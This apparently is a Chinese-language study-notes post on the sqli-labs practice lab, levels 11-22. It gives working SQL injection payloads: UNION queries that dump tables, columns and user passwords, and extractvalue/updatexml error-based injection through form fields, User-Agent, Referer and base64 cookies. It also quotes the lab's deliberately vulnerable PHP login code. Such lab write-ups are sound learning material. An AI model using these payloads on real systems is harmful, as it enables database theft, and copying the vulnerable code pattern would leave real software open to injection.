前言
上篇已經熟悉了一些注入思路,擱置比較久了今天來複習一下sql注入,通過實踐然後總結是我覺得比較好的學習方法,所以記一些筆記供我以後參考自己思維錯在哪應該怎麼避免怎麼改正,收穫又在哪!!!
Less-11
先使用admin弱密碼登錄試一下,運氣還可以直接登錄成功:
這裏肯定是存在注入點的,我們判斷其注入類型,試一下是不是單引號注入
報錯了,那應該就是單引號注入類型了,也不用去閉合單引號了;
然後猜解字段數:
所以字段數是2,接下來暴庫:
' union select database(),version() #
版本在mysql5.0以上會有一個特殊的information_schema庫
'union select null,group_concat(table_name)
from information_schema.tables where table_schema='security'#
爆出四個表名:
users這個表應該存放着用戶信息,下一步就是暴列名
' union select null,group_concat(column_name)
from information_schema.columns where table_name='users' #
很明顯,接下來暴字段值就歐克;
'union select null,group_concat(username,id,password) from users #
與前十關不一樣的是前者是GET型,後者是POST型,但是注入思路都差不多;
less-12
先判斷注入類型,發現單引號不會報錯,那試一下雙引號發現報錯,但是閉合雙引號後還是報錯,於是判斷應該只是包括了雙引號,試一下“)發現報錯,閉合符號後登錄成功,其他思路和十一關一樣;
less-13
幾番試過之後,發現是閉合符號是’),但是閉合之後並沒有回顯有效信息,看來是盲注了,可以直接拿工具去跑,也可以用到extractvalue()函數進行報錯注入:
') and extractvalue(1,concat(0x7e,(select database()))) and ('
然後按照上面的思路構造查詢語句;
less-14
試一下發現閉合符號是",並且和上一關很相似,直接輸入
" and extractvalue(1,concat(0x7e,(select database()))) and "
會返回數據庫信息,然後就沒有然後了,和上面一樣;
less-15、less-16
發現不管輸入什麼都不會回顯消息,肯定是盲注了,手工盲註上篇有筆記,這裏直接用sqlmap跑就可以;
less-17
本題是基於錯誤的更新查詢POST注入,而且本題要用到類似extractvalue函數的updatexml函數;
語法updatexml(目標xml文檔,xml路徑,更新的內容)
此函數報錯的原因updatexml第二個參數需要的是XPATH格式的字符串,輸入一個不符合的格式就會報錯;
前幾題都是在username上做的工作,剛開始做這題的時候也是在username上輸入都不會回顯,我以爲是盲注,試了一下延遲注入沒反應,找不到方法回去看了一下源碼:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
有個檢查函數,咱先不看檢查函數的內容,直接看到這個檢查函數值過濾了username,我剛剛怎麼沒想到試一下password ,於是:
果然報錯了,並且閉合單引號不會報錯,初步判斷是基於單引號的報錯注入;
' and extractvalue(1, concat(0x7e, (select @@database), 0x7e))#
其實構造這樣的payload也能回顯有用的信息,但是這裏我想學習一下updatexml函數的使用,雖然兩者也差不多;
' and updatexml(1, concat(0x7e, (select @@version), 0x7e),1)#
後面的就不多說啦
less-18
覺得奇怪會給我一個IP地址先不管,瘋狂找注入點,username,password兩個表單都試過並沒有報錯,應該是都被過濾了,只能找其他方法,用正確的用戶密碼登錄試一下admin,admin,會返回user agent的有關信息,所以這應該可以作爲突破點
參數值改爲’會報錯,構造payload:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ’
這裏不要註釋單引號,用and ’ ,不要問爲什麼問就是不說
less-19
和前一關一樣不同的是注入點跑到refer這裏而已;
less-20
使用admin登錄 一下;
返回這樣的頁面,注入點應該是cookie,抓包看一下:
果然報錯,既然找到注入點了其他都都好說!
less-21
登錄發現是這樣:
uname爲什麼不是admin? 發現有等號,應該是被base64編碼了,所以只要base64加密後寫入cookie,就可以完成注入;
less-22
這裏和上一題一樣啦,不同的是這裏需要閉合的字符不一樣罷了。
到這裏前面basic challenge就完成了,算是入門了哈;
總結:
這一部分大都是基於字符{(、)、‘、“、}的注入類型,也有少部分是基於數字類型的,凡是找到注入點注入思路也苟同,上篇筆記有寫,還有對extravalue函數、updatexml函數、PHP代碼審計、常用查詢語句、sleep() 用於延時注入等知識的熟悉,
1-10:
GET型的常見注入類型(聯合注入,報錯注入,盲注等)
10-22:
POST型的常見注入類型(報錯盲注等),這部分和前十題比較不同的是post類型注入點更加多變,一定要耐心尋找注入點;(像什麼cookie、user agent、總之根據提示或者別的有用信息找到注入點)